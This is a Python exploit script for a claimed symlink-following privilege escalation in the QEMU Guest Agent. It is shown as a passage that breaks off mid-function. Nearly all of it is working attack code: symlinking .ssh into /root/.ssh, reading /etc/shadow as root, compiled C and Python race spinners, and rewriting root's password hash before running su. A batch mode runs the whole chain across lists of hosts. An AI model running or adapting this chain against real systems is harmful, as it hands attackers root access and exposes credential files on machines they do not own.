📄 QEMU Guest Agent 11.0.3 Local Privilege Escalation

#!/usr/bin/env python3
    """
    CVE-2026-12080 - QEMU Guest Agent (qemu-ga) symlink following in guest-ssh-* handlers
    Affected: QEMU Guest Agent 5.2.0 through 11.0.3 (no fixed release at time of writing)
    Type: Privilege Escalation (CWE-59/61 symlink following -> local root)
    
    The agent runs as root inside the guest. `guest-ssh-add-authorized-keys` builds
    $HOME/.ssh/authorized_keys for a caller-named account and then adjusts the result
    by path: g_file_test(IS_DIR) resolves symlinks, and both helpers finish with
    chown()/chmod() rather than lchown()/fchmod(). Every component below $HOME belongs
    to the unprivileged account, so that account decides what those root-privileged
    calls actually land on.
    
    Three primitives, all reached with nothing but the provisioning command:
    
      A  directory symlink  $HOME/.ssh -> /root/.ssh
         g_file_test() resolves the link, mkdir_for_user() is skipped, and the key file
         is created inside a root-only directory and handed to the attacker.
         Deterministic, one call.
    
      B  file symlink + read  $HOME/.ssh/authorized_keys -> /etc/shadow
         read_authkeys() uses g_file_get_contents(), which follows the link, so the file
         is read with root privilege and its contents are written back into a file the
         attacker is then given ownership of. Arbitrary root file read, deterministic,
         one call.
    
      C  file symlink race  window between rename() inside g_file_set_contents() and the
         following chown() by path. Swapping a symlink into the name inside that window
         makes root chown() the link target. Owning /etc/shadow converts to root.
         Probabilistic, a few hundred to a few thousand calls.
    
    Two roles are kept strictly separate, because that separation is the boundary being
    crossed. The agent channel is only ever used the way a management layer uses it
    (guest-ping, guest-info, guest-ssh-add-authorized-keys). Everything else runs through
    an ordinary unprivileged shell on the guest. No agent command is ever used to run a
    command or read a file.
    
    Usage:
      # unprivileged account you already control, driven over SSH
      python exploit.py --host 192.168.1.10 --port 4444 --username lowpriv --password hunter2
    
      # already sitting on the guest as that account
      python exploit.py --host 127.0.0.1 --port 4444 --local
    
      # agent channel exposed as a URL, key-based foothold, take /etc/passwd instead
      python exploit.py --host tcp://192.168.1.10:4444 --username svc --ssh-key ~/.ssh/id_ed25519 \
                        --target-file /etc/passwd
    
      # exposure sweep across an estate (version + command availability only)
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import base64
    import json
    import os
    import re
    import secrets
    import select
    import socket
    import ssl
    import subprocess
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-12080"
    VULN_TYPE = "Privilege Escalation"
    
    VULN_MIN = (5, 2, 0)
    VULN_MAX = (11, 0, 3)
    
    PROVISION_CMD = "guest-ssh-add-authorized-keys"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # small helpers
    # ---------------------------------------------------------------------------
    
    def q(s: str) -> str:
        """Single-quote a string for /bin/sh. Hand rolled: the target shell may be
        dash and the local interpreter may be anything, so nothing is imported for it."""
        return "'" + str(s).replace("'", "'\\''") + "'"
    
    
    def b64(data) -> str:
        if isinstance(data, str):
            data = data.encode()
        return base64.b64encode(data).decode()
    
    
    def parse_version(v: str):
        m = re.match(r"^(\d+)\.(\d+)(?:\.(\d+))?", str(v or ""))
        if not m:
            return None
        return (int(m.group(1)), int(m.group(2)), int(m.group(3) or 0))
    
    
    def version_affected(v) -> bool:
        t = parse_version(v)
        return bool(t and VULN_MIN <= t <= VULN_MAX)
    
    
    def fake_pubkey() -> str:
        """A syntactically real ed25519 public key with random material.
    
        check_openssh_pub_key() only rejects NULL, a leading '#' and embedded newlines,
        but a well formed key is what a provisioning system would push, and a random
        one leaves nothing recognisable in anybody's authorized_keys."""
        blob = b"\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x20" + secrets.token_bytes(32)
        tag = secrets.token_hex(4)
        return "ssh-ed25519 %s svc-%s@%s" % (base64.b64encode(blob).decode(), tag, secrets.token_hex(4))
    
    
    # ---------------------------------------------------------------------------
    # management channel: line delimited JSON to the guest agent
    # ---------------------------------------------------------------------------
    
    class AgentChannel:
        """The host side channel a hypervisor or provisioning layer speaks to qemu-ga.
    
        Deliberately restricted: only guest-ping, guest-info and the provisioning
        command are ever issued. Reaching for guest-exec or guest-file-read here would
        void the demonstration, since those already grant what the bug is being used
        to obtain."""
    
        ALLOWED = ("guest-ping", "guest-info", PROVISION_CMD)
    
        def __init__(self, host, port, use_tls=False, timeout=15.0):
            self.host = host
            self.port = port
            self.use_tls = use_tls
            self.timeout = timeout
            self.sock = None
            self.fh = None
    
        def connect(self):
            self.close()
            s = socket.create_connection((self.host, self.port), self.timeout)
            if self.use_tls:
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                s = ctx.wrap_socket(s, server_hostname=self.host)
            s.settimeout(self.timeout)
            self.sock = s
            self.fh = s.makefile("rwb")
            return self
    
        def close(self):
            for obj in (self.fh, self.sock):
                try:
                    if obj:
                        obj.close()
                except Exception:
                    pass
            self.fh = self.sock = None
    
        def call(self, execute, arguments=None, retry=True):
            if execute not in self.ALLOWED:
                raise ValueError("command %r is outside the management layer role" % execute)
            msg = {"execute": execute}
            if arguments:
                msg["arguments"] = arguments
            line = (json.dumps(msg) + "\n").encode()
            try:
                if self.fh is None:
                    self.connect()
                self.fh.write(line)
                self.fh.flush()
                raw = self.fh.readline()
                if not raw:
                    raise OSError("channel closed")
            except Exception:
                if not retry:
                    raise
                # the agent is restarted by its supervisor after a fault, and the TCP
                # bridge drops the old connection with it
                time.sleep(0.4)
                self.connect()
                self.fh.write(line)
                self.fh.flush()
                raw = self.fh.readline()
                if not raw:
                    raise OSError("channel closed")
            try:
                return json.loads(raw.decode("utf-8", "replace"))
            except ValueError:
                return {"error": {"desc": "unparsable reply: %r" % raw[:200]}}
    
        def ping(self):
            return self.call("guest-ping")
    
        def info(self):
            return self.call("guest-info").get("return") or {}
    
        def provision(self, username, keys, reset=True):
            return self.call(PROVISION_CMD,
                             {"username": username, "keys": keys, "reset": bool(reset)})
    
    
    # ---------------------------------------------------------------------------
    # foothold: an ordinary unprivileged shell on the guest
    # ---------------------------------------------------------------------------
    
    class FootholdError(Exception):
        pass
    
    
    def pty_run(argv, expects=None, timeout=90):
        """Run argv under a pty, answering prompts from `expects` in order.
    
        `expects` is a list of (needle_bytes, reply_str). Each needle is matched at most
        once, and a needle that never appears is simply skipped. Used for password
        prompts, which read from the terminal rather than stdin."""
        import pty
    
        pending = list(expects or [])
        pid, fd = pty.fork()
        if pid == 0:
            try:
                os.execvp(argv[0], argv)
            finally:
                os._exit(127)
    
        out = b""
        scanned = 0
        status = None
        deadline = time.time() + timeout
        while time.time() < deadline:
            try:
                r, _, _ = select.select([fd], [], [], 0.25)
            except (OSError, ValueError):
                break
            if r:
                try:
                    chunk = os.read(fd, 65536)
                except OSError:
                    chunk = b""
                if not chunk:
                    break
                out += chunk
                while pending:
                    needle, reply = pending[0]
                    idx = out.find(needle, scanned)
                    if idx < 0:
                        break
                    scanned = idx + len(needle)
                    pending.pop(0)
                    try:
                        os.write(fd, (reply + "\n").encode())
                    except OSError:
                        pass
            wpid, wstatus = os.waitpid(pid, os.WNOHANG)
            if wpid:
                status = wstatus
                break
    
        if status is None:
            try:
                os.waitpid(pid, os.WNOHANG)
            except OSError:
                pass
        # drain whatever is still buffered in the pty
        end = time.time() + 1.5
        while time.time() < end:
            try:
                r, _, _ = select.select([fd], [], [], 0.2)
                if not r:
                    break
                chunk = os.read(fd, 65536)
                if not chunk:
                    break
                out += chunk
            except OSError:
                break
        try:
            os.close(fd)
        except OSError:
            pass
        if status is None:
            try:
                _, status = os.waitpid(pid, 0)
            except OSError:
                status = 0
        rc = os.waitstatus_to_exitcode(status) if hasattr(os, "waitstatus_to_exitcode") else (status >> 8)
        return rc, out.replace(b"\r\n", b"\n").decode("utf-8", "replace")
    
    
    class Foothold:
        """Base: a way to run shell commands as the unprivileged guest account."""
    
        def run(self, cmd, timeout=90, want_tty=False, expects=None):
            raise NotImplementedError
    
        def put(self, path, data):
            rc, out = self.run("printf %%s %s | base64 -d > %s" % (q(b64(data)), q(path)))
            if rc != 0:
                raise FootholdError("could not write %s: %s" % (path, out.strip()))
    
        def read(self, path):
            rc, out = self.run("base64 %s" % q(path))
            if rc != 0:
                raise FootholdError("could not read %s: %s" % (path, out.strip()))
            try:
                return base64.b64decode("".join(out.split()))
            except Exception as exc:
                raise FootholdError("bad base64 from %s: %s" % (path, exc))
    
        def out(self, cmd, timeout=90):
            return self.run(cmd, timeout=timeout)[1].strip()
    
        def close(self):
            pass
    
    
    class LocalFoothold(Foothold):
        """Already sitting on the guest as the unprivileged account."""
    
        def __init__(self):
            self.kind = "local shell"
    
        def run(self, cmd, timeout=90, want_tty=False, expects=None):
            if want_tty:
                return pty_run(["/bin/sh", "-c", cmd], expects=expects, timeout=timeout)
            p = subprocess.run(["/bin/sh", "-c", cmd], stdout=subprocess.PIPE,
                               stderr=subprocess.STDOUT, timeout=timeout)
            return p.returncode, p.stdout.decode("utf-8", "replace")
    
    
    class SSHFoothold(Foothold):
        """The unprivileged account reached over SSH.
    
        Only the openssh client is used, so there is no third party dependency. A
        multiplexed master connection is opened once so that the password is answered
        a single time and later commands cost no handshake."""
    
        def __init__(self, host, port, username, password=None, keyfile=None, timeout=25):
            self.host = host
            self.port = port
            self.username = username
            self.password = password
            self.keyfile = keyfile
            self.timeout = timeout
            self.kind = "ssh://%s@%s:%d" % (username, host, port)
            self.ctlpath = "/tmp/.s-%s" % secrets.token_hex(6)
            self.master = False
    
        def _base(self, want_tty=False):
            argv = ["ssh", "-p", str(self.port),
                    "-o", "StrictHostKeyChecking=no",
                    "-o", "UserKnownHostsFile=/dev/null",
                    "-o", "GlobalKnownHostsFile=/dev/null",
                    "-o", "LogLevel=ERROR",
                    "-o", "ConnectTimeout=%d" % self.timeout,
                    "-o", "ControlPath=%s" % self.ctlpath]
            if self.keyfile:
                argv += ["-i", self.keyfile, "-o", "IdentitiesOnly=yes",
                         "-o", "PasswordAuthentication=no"]
            else:
                argv += ["-o", "PubkeyAuthentication=no",
                         "-o", "PreferredAuthentications=password,keyboard-interactive",
                         "-o", "NumberOfPasswordPrompts=1"]
            argv += ["-tt"] if want_tty else ["-T"]
            argv += ["%s@%s" % (self.username, self.host)]
            return argv
    
        def connect(self):
            argv = self._base()
            argv = argv[:-1] + ["-o", "ControlMaster=yes", "-o", "ControlPersist=600",
                                "-N", "-f", argv[-1]]
            expects = [(b"assword", self.password)] if self.password else None
            rc, out = pty_run(argv, expects=expects, timeout=self.timeout + 15)
            for _ in range(20):
                if os.path.exists(self.ctlpath):
                    self.master = True
                    break
                time.sleep(0.25)
            if not self.master and rc != 0:
                raise FootholdError("SSH login failed: %s" % out.strip()[-400:])
            rc, out = self.run("id -u")
            if rc != 0:
                raise FootholdError("SSH login failed: %s" % out.strip()[-400:])
            return self
    
        def run(self, cmd, timeout=90, want_tty=False, expects=None):
            argv = self._base(want_tty=want_tty) + [cmd]
            need_pw = bool(self.password) and not self.master
            exp = ([(b"assword", self.password)] if need_pw else []) + list(expects or [])
            if want_tty or exp:
                return pty_run(argv, expects=exp, timeout=timeout)
            p = subprocess.run(argv, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                               timeout=timeout)
            return p.returncode, p.stdout.decode("utf-8", "replace")
    
        def close(self):
            if self.master:
                try:
                    subprocess.run(self._base()[:-1] + ["-O", "exit",
                                   "%s@%s" % (self.username, self.host)],
                                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                                   timeout=10)
                except Exception:
                    pass
                self.master = False
    
    
    # ---------------------------------------------------------------------------
    # the spinner that keeps a symlink resident in the rename()->chown() window
    # ---------------------------------------------------------------------------
    
    SPINNER_C = r"""
    #define _GNU_SOURCE
    #include <fcntl.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    
    #ifndef RENAME_EXCHANGE
    #define RENAME_EXCHANGE (1 << 1)
    #endif
    
    /*
     * argv: <link-target> <scratch-name> <name-the-agent-chowns>
     *
     * The symlink has to be rebuilt every iteration. The agent's own rename() inside
     * g_file_set_contents() replaces the name and destroys whichever inode was sitting
     * there, so a loop that only exchanges two pre-existing names presents a symlink
     * exactly once and then swaps two regular files forever.
     */
    static int exchange(const char *a, const char *b)
    {
    #ifdef SYS_renameat2
        return syscall(SYS_renameat2, AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE);
    #else
        return renameat2(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE);
    #endif
    }
    
    int main(int argc, char **argv)
    {
        if (argc < 4) {
            return 2;
        }
        for (;;) {
            unlink(argv[2]);
            if (symlink(argv[1], argv[2]) == -1) {
                continue;
            }
            exchange(argv[2], argv[3]);
        }
        return 0;
    }
    """
    
    SPINNER_PY = r"""
    import ctypes, os, sys
    
    target, scratch, name = sys.argv[1], sys.argv[2], sys.argv[3]
    AT_FDCWD = -100
    RENAME_EXCHANGE = 2
    libc = ctypes.CDLL(None, use_errno=True)
    
    NR = {"x86_64": 316, "aarch64": 276, "i686": 353, "i386": 353,
          "armv7l": 382, "armv6l": 382, "ppc64le": 357, "ppc64": 357,
          "s390x": 347, "riscv64": 276, "loongarch64": 276}.get(os.uname()[4])
    
    def exchange(a, b):
        ab, bb = a.encode(), b.encode()
        try:
            return libc.renameat2(ctypes.c_int(AT_FDCWD), ab,
                                  ctypes.c_int(AT_FDCWD), bb,
                                  ctypes.c_uint(RENAME_EXCHANGE))
        except AttributeError:
            if NR is None:
                raise SystemExit("no renameat2 on this architecture")
            return libc.syscall(ctypes.c_long(NR), ctypes.c_long(AT_FDCWD), ab,
                                ctypes.c_long(AT_FDCWD), bb,
                                ctypes.c_long(RENAME_EXCHANGE))
    
    while True:
        try:
            os.unlink(scratch)
        except OSError:
            pass
        try:
            os.symlink(target, scratch)
        except OSError:
            continue
        exchange(scratch, name)
    """
    
    
    # ---------------------------------------------------------------------------
    # stages
    # ---------------------------------------------------------------------------
    
    class Stage(object):
        """Bundle of everything a stage needs, so the phases stay readable."""
    
        def __init__(self, agent, fh, username, run_id):
            self.agent = agent
            self.fh = fh
            self.username = username
            self.run = run_id
            self.home = None
            self.ssh_dir = None
            self.authkeys = None
            self.workdir = None
    
        def discover(self):
            home = self.fh.out("getent passwd %s 2>/dev/null | cut -d: -f6" % q(self.username))
            if not home:
                home = self.fh.out("echo $HOME")
            if not home or not home.startswith("/"):
                raise FootholdError("could not determine the home directory of %r" % self.username)
            self.home = home
            self.ssh_dir = home + "/.ssh"
            self.authkeys = self.ssh_dir + "/authorized_keys"
            self.workdir = "%s/.c-%s" % (home, self.run[:8])
            self.fh.run("mkdir -p %s" % q(self.workdir))
            return home
    
        def reset_ssh_dir(self, real_dir=True):
            self.fh.run("rm -rf %s" % q(self.ssh_dir))
            if real_dir:
                self.fh.run("mkdir -m 0700 %s" % q(self.ssh_dir))
    
        def stat_owner(self, path):
            return self.fh.out("stat -c '%%U %%G %%a' %s 2>&1" % q(path))
    
    
    def phase_directory_symlink(st, root_dir, keys):
        """Primitive A: g_file_test(IS_DIR) follows the link, so the whole key write
        happens inside a directory the attacker chose but cannot even list.
    
        Success and failure are read from the agent reply, not from a stat: the target
        file often lives in a directory the unprivileged account cannot traverse (that
        is the whole point), so a permission-denied stat is consistent with success. A
        patched build refuses the symlinked directory with `failed to open directory`."""
        victim = root_dir.rstrip("/") + "/authorized_keys"
    
        before = st.stat_owner(victim)
        st.fh.run("rm -rf %s && ln -s %s %s" % (q(st.ssh_dir), q(root_dir), q(st.ssh_dir)))
        link = st.fh.out("ls -ld %s" % q(st.ssh_dir))
        print("        staged: %s" % link)
    
        reply = st.agent.provision(st.username, keys, reset=True)
        print("        agent reply: %s" % json.dumps(reply))
        accepted = "return" in reply
        err = (reply.get("error") or {}).get("desc", "") if isinstance(reply, dict) else ""
    
        after = st.stat_owner(victim)
        print("        %s before: %s" % (victim, before or "<absent>"))
        print("        %s after : %s" % (victim, after))
    
        owner = after.split(" ")[0] if after else ""
        reachable = "Permission denied" not in after and "denied" not in after
        proof = ""
        note = ""
        if accepted and reachable and owner == st.username:
            # the file is reachable and now belongs to us: rewrite it to prove write access
            marker = secrets.token_hex(8)
            st.fh.run("printf %%s\\\\n %s > %s" % (q("# " + marker), q(victim)))
            proof = st.fh.out("cat %s 2>&1" % q(victim))
            print("        rewrite by the unprivileged account: %s" % proof)
            owned = True
        elif accepted and not reachable:
            # the agent accepted the symlinked directory and wrote the key file inside a
            # directory we cannot traverse: exactly the root-only case the primitive targets
            note = ("call accepted on a symlinked .ssh; %s created inside a directory the "
                    "unprivileged account cannot traverse (%s is root-only), so ownership is "
                    "not stat-able from here" % (victim, root_dir))
            print("        %s" % note)
            owned = True
        else:
            owned = False
            note = err or "target unchanged"
        st.fh.run("rm -f %s" % q(st.ssh_dir))
        return owned, after, proof, note
    
    
    def phase_file_read(st, read_file, keys):
        """Primitive B: read_authkeys() -> g_file_get_contents() follows the link, so the
        file is read as root and its contents are written back into a file the attacker
        is handed ownership of. No race: the read happens before the write destroys the
        link, and the chown lands on the fresh regular file."""
        st.reset_ssh_dir(real_dir=True)
        st.fh.run("ln -sf %s %s" % (q(read_file), q(st.authkeys)))
    
        # reset must be false, otherwise the handler never reads the existing file
        reply = st.agent.provision(st.username, keys, reset=False)
        print("        agent reply: %s" % json.dumps(reply))
    
        owner = st.stat_owner(st.authkeys)
        print("        %s is now: %s" % (st.authkeys, owner))
        try:
            contents = st.fh.read(st.authkeys).decode("utf-8", "replace")
        except FootholdError as exc:
            print("        could not read back: %s" % exc)
            return False, ""
        # the pushed key is appended to whatever was read; drop it again
        body = "\n".join(l for l in contents.splitlines() if l not in keys)
        return bool(body.strip()), body
    
    
    def phase_race(st, target_file, keys, iterations, spinners, batch, quiet=False):
        """Primitive C: win the rename()->chown() window so root chown()s a symlink
        target of the attacker's choosing."""
        st.reset_ssh_dir(real_dir=True)
        st.fh.run("touch %s" % q(st.authkeys))
    
        spin = "%s/%s" % (st.workdir, secrets.token_hex(5))
        st.fh.put(spin + ".c", SPINNER_C)
        rc, out = st.fh.run("cc -O2 -o %s %s 2>&1 || gcc -O2 -o %s %s 2>&1"
                            % (q(spin), q(spin + ".c"), q(spin), q(spin + ".c")), timeout=120)
        have_cc = st.fh.out("test -x %s && echo yes || echo no" % q(spin)) == "yes"
        if have_cc:
            launcher = "%s %s %s.$i %s" % (q(spin), q(target_file),
                                           q(st.ssh_dir + "/s"), q(st.authkeys))
            kind = "compiled"
        else:
            st.fh.put(spin + ".py", SPINNER_PY)
            launcher = "python3 %s %s %s.$i %s" % (q(spin + ".py"), q(target_file),
                                                   q(st.ssh_dir + "/s"), q(st.authkeys))
            kind = "python ctypes (no C compiler on the target)"
        if not quiet:
            print("        spinner: %s" % kind)
    
        pidfile = st.workdir + "/p"
        st.fh.run("rm -f %s; for i in $(seq 1 %d); do %s >/dev/null 2>&1 & echo $! >> %s; done"
                  % (q(pidfile), spinners, launcher, q(pidfile)))
        running = st.fh.out("wc -l < %s 2>/dev/null" % q(pidfile))
        if not quiet:
            print("        %s spinner process(es) started" % running)
    
        def stop():
            st.fh.run("while read p; do kill -9 $p 2>/dev/null; done < %s 2>/dev/null; "
                      "rm -f %s %s.* " % (q(pidfile), q(pidfile), q(st.ssh_dir + "/s")))
    
        before = st.stat_owner(target_file)
        if not quiet:
            print("        %s before: %s" % (target_file, before))
    
        sent = errors = 0
        won = False
        start = time.time()
        try:
            while sent < iterations and not won:
                for _ in range(batch):
                    if sent >= iterations:
                        break
                    try:
                        reply = st.agent.provision(st.username, keys, reset=True)
                        if "error" in reply:
                            errors += 1
                    except Exception:
                        errors += 1
                    sent += 1
                owner = st.stat_owner(target_file).split(" ")[0]
                if owner == st.username:
                    won = True
                    break
                if not quiet:
                    print("        %5d calls, %s still %s (%.1fs)"
                          % (sent, target_file, owner, time.time() - start))
        finally:
            stop()
    
        after = st.stat_owner(target_file)
        return won, sent, errors, before, after
    
    
    def phase_escalate(st, target_file, fh, keep_access):
        """Own /etc/shadow -> set a password on root -> su. The account started this run
        unprivileged and the agent channel was never used for anything but key pushes."""
        original = st.fh.read(target_file).decode("utf-8", "replace")
        lines = original.splitlines()
        root_line = next((l for l in lines if l.startswith("root:")), None)
        if root_line is None:
            return False, "", "", original
        print("        root entry before: %s" % (root_line[:24] + "..."))
    
        password = "P" + secrets.token_hex(9) + "!q"
        salt = secrets.token_hex(6)
        crypted = ""
        for gen in ("openssl passwd -6 -salt %s %s" % (q(salt), q(password)),
                    "python3 -c 'import crypt,sys;print(crypt.crypt(sys.argv[1],sys.argv[2]))' "
                    "%s %s" % (q(password), q("$6$" + salt)),
                    "perl -e 'print crypt($ARGV[0],$ARGV[1])' %s %s" % (q(password), q("$6$" + salt))):
            out = st.fh.out(gen + " 2>/dev/null")
            cand = out.strip().splitlines()[-1] if out.strip() else ""
            if cand.startswith("$6$"):
                crypted = cand
                break
        if not crypted:
            return False, "", "", original
    
        fields = root_line.split(":")
        fields[1] = crypted
        new = "\n".join([":".join(fields) if l is root_line else l for l in lines]) + "\n"
        st.fh.put(target_file, new)
        print("        root entry rewritten in %s by the unprivileged account" % target_file)
    
        rc, out = fh.run("su - root -c 'id; echo ---; hostname; echo ---; cat /proc/self/status | head -1'",
                         want_tty=True, expects=[(b"assword", password)], timeout=60)
        got_root = "uid=0(root)" in out
        idline = ""
        for l in out.splitlines():
            if l.startswith("uid=0(root)"):
                idline = l.strip()
                break
    
        if got_root and not keep_access:
            restore = "\n".join(lines) + "\n"
            fh.run("su - root -c %s" % q("printf %s " + q(b64(restore)) + " | base64 -d > " + target_file
                                         + "; chown root:shadow " + target_file
                                         + " 2>/dev/null || chown root:root " + target_file
                                         + "; chmod 640 " + target_file),
                   want_tty=True, expects=[(b"assword", password)], timeout=60)
            print("        original %s entry and root:shadow 0640 restored" % target_file)
        return got_root, idline, password, original
    
    
    # ---------------------------------------------------------------------------
    # silent probe for --list
    # ---------------------------------------------------------------------------
    
    def _try_exploit(host, port, use_tls=False, username=None, password=None,
                     keyfile=None, ssh_port=22, target_file="/etc/shadow",
                     iterations=1200, spinners=4, **kwargs):
        """Silent probe for scan mode. Returns (success, evidence). Never prints or exits.
    
        With foothold credentials it runs the full chain. Without them it reports whether
        the agent is reachable, in the affected version range, and still offering the
        vulnerable command, which is everything the network alone can tell."""
        agent = AgentChannel(host, port, use_tls, timeout=10)
        try:
            agent.connect()
            info = agent.info()
        except Exception as exc:
            agent.close()
            return False, "unreachable (%s)" % exc.__class__.__name__
    
        version = info.get("version", "?")
        cmds = {c.get("name"): c for c in info.get("supported_commands", [])}
        entry = cmds.get(PROVISION_CMD)
        if entry is None:
            agent.close()
            return False, "qemu-ga %s, %s not built in" % (version, PROVISION_CMD)
        if not entry.get("enabled", False):
            agent.close()
            return False, "qemu-ga %s, %s disabled (blocked via --block-rpcs)" % (version, PROVISION_CMD)
        if not version_affected(version):
            agent.close()
            return False, "qemu-ga %s is outside the affected range %s-%s" % (
                version, ".".join(map(str, VULN_MIN)), ".".join(map(str, VULN_MAX)))
    
        if not (username and (password or keyfile)):
            agent.close()
            return True, ("exposed: qemu-ga %s, %s enabled (no foothold credentials given, "
                          "supply --username/--password for the full chain)" % (version, PROVISION_CMD))
    
        fh = None
        try:
            fh = SSHFoothold(host, ssh_port, username, password, keyfile).connect()
            st = Stage(agent, fh, username, secrets.token_hex(8))
            st.discover()
            keys = [fake_pubkey()]
            owned, after, _, _ = phase_directory_symlink(st, "/root/.ssh", keys)
            won, sent, _, _, _ = phase_race(st, target_file, keys, iterations, spinners,
                                            batch=25, quiet=True)
            if won:
                got_root, idline, _, _ = phase_escalate(st, target_file, fh, keep_access=False)
                if got_root:
                    return True, "root via %s ownership after %d calls (%s)" % (target_file, sent, idline)
                return True, "took ownership of %s after %d calls (%s)" % (target_file, sent, after)
            if owned:
                return True, "qemu-ga %s, directory-symlink primitive confirmed (%s)" % (version, after)
            return False, "qemu-ga %s, no primitive landed in %d calls" % (version, sent)
        except Exception as exc:
            return False, "foothold failed (%s: %s)" % (exc.__class__.__name__, str(exc)[:80])
        finally:
            try:
                st.reset_ssh_dir(real_dir=False)
                fh.run("rm -rf %s" % q(st.workdir))
            except Exception:
                pass
            if fh:
                fh.close()
            agent.close()
    
    
    # ---------------------------------------------------------------------------
    # target list handling
    # ---------------------------------------------------------------------------
    
    def _parse_target(line, default_port, default_path="/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://", "tcp://", "tls://")):
            p = urlparse(line)
            tls = p.scheme in ("https", "tls")
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line and not line.count(":") > 1:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, **kwargs):
        import concurrent.futures
    
        try:
            with open(targets_file) as f:
                targets = [_parse_target(l, default_port) for l in f]
        except OSError as exc:
            done(False, "cannot read target list %s (%s)" % (targets_file, exc.__class__.__name__))
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _path = t
            label = "%s:%d" % (host, port)
            try:
                ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
            except Exception as exc:
                ok, evidence = False, "probe error (%s)" % exc.__class__.__name__
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                            "Exploited" if ok else "Not vulnerable", evidence))
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------------------
    # single target
    # ---------------------------------------------------------------------------
    
    def exploit(host, port, use_tls, args):
        header(host, port)
        run_id = secrets.token_hex(8)
        agent = AgentChannel(host, port, use_tls)
        fh = None
        st = None
        results = {}
    
        try:
            step(1, "Fingerprinting the guest agent on the management channel...")
            try:
                agent.connect()
                agent.ping()
                info = agent.info()
            except Exception as exc:
                done(False, "management channel unreachable at %s:%d (%s)"
                     % (host, port, exc.__class__.__name__))
            version = info.get("version", "?")
            cmds = {c.get("name"): c for c in info.get("supported_commands", [])}
            entry = cmds.get(PROVISION_CMD) or {}
            section("GUEST AGENT", "version           : %s\naffected range    : %s - %s\n%-18s: %s"
                    % (version, ".".join(map(str, VULN_MIN)), ".".join(map(str, VULN_MAX)),
                       PROVISION_CMD, "enabled" if entry.get("enabled") else "absent or blocked"))
            if not entry.get("enabled"):
                done(False, "%s is not available on this agent, the vendor mitigation is in place"
                     % PROVISION_CMD)
            if not version_affected(version):
                print("        note: %s is outside the published affected range, continuing anyway "
                      "because no release carries a fix" % version)
    
            step(2, "Taking the unprivileged foothold the CVE presupposes...")
            if args.local:
                fh = LocalFoothold()
                username = args.username or fh.out("id -un")
            else:
                if not args.username or not (args.password or args.ssh_key):
                    done(False, "the chain needs the unprivileged account it escalates from, pass "
                                "--username with --password or --ssh-key (or --local if you already "
                                "have a shell on the guest)")
                username = args.username
                fh = SSHFoothold(host, args.ssh_port, username, args.password, args.ssh_key).connect()
            idline = fh.out("id")
            print("        %s -> %s" % (fh.kind, idline))
            if "uid=0(" in idline:
                done(False, "the foothold account is already root, there is nothing to escalate")
    
            st = Stage(agent, fh, username, run_id)
            home = st.discover()
            print("        home directory of %s: %s" % (username, home))
            keys = [fake_pubkey()]
    
            if args.phase in ("all", "a"):
                step(3, "Primitive A: directory symlink, %s -> %s" % (st.ssh_dir, args.root_dir))
                owned, after, proof, note = phase_directory_symlink(st, args.root_dir, keys)
                results["A"] = owned
                victim = args.root_dir.rstrip('/') + "/authorized_keys"
                if owned and proof:
                    section("PRIMITIVE A - OWNERSHIP OF A FILE IN A ROOT-ONLY DIRECTORY",
                            "%s  ->  %s\nrewritten by %s:  %s" % (victim, after, username, proof))
                elif owned:
                    section("PRIMITIVE A - OWNERSHIP OF A FILE IN A ROOT-ONLY DIRECTORY", note)
                else:
                    section("PRIMITIVE A - BLOCKED",
                            "%s stayed %s (%s)" % (victim, after, note))
    
            if args.phase in ("all", "a"):
                step(4, "Primitive B: file symlink, root-privileged read of %s" % args.read_file)
                got, body = phase_file_read(st, args.read_file, keys)
                results["B"] = got
                if got:
                    section("PRIMITIVE B - ARBITRARY FILE READ AS ROOT (%s)" % args.read_file,
                            "\n".join(body.splitlines()[:12]))
                else:
                    section("PRIMITIVE B - BLOCKED", "no contents of %s came back" % args.read_file)
    
            if args.phase in ("all", "b"):
                step(5, "Primitive C: racing the rename()->chown() window for %s" % args.target_file)
